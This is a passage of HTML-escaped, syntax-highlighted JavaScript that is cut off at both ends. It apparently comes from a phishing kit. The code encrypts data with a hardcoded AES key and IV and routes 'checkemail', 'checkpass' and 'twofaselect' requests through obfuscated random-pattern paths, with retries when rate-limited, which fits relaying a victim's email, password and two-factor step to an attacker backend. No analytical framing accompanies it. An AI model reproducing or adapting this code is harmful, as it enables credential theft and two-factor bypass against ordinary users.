    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;jqXHR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textStatus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;errorThrown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;jqXHR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;429&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textStatus&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sendemailrequestzero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encryptData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;1234567890123456&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;1234567890123456&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encrypted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;encrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Pkcs7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CBC&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encrypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stringToBinary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;zeroReplacement&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oneReplacement&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;btoa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;charCodeAt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;padStart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;binary&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bit&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bit&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;zeroReplacement&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oneReplacement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;decryptData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;encryptedData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;1234567890123456&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;1234567890123456&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;decrypted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;encryptedData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Pkcs7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CBC&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;decrypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CryptoJS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sendAndReceive&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getresponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;requestsent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;twofaselect&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;waiting for previous request to complete&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;requestsent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;twofaselect&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;requestsent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;routename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;randpattern&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;checkemail&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;randpattern&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;pq|rs&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{6,18}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;yz|12|34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{2,7}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;uv|wx&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;1-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;|40&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/gm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;checkpass&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;randpattern&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;yz|12&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{7,14}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;56|78&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{3,8}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;op|qr&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;1-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;|50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/gm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;twofaselect&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;randpattern&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;56|78|90&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{8,16}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;23|45|67&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{4,9}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;st|uv&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;1-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span 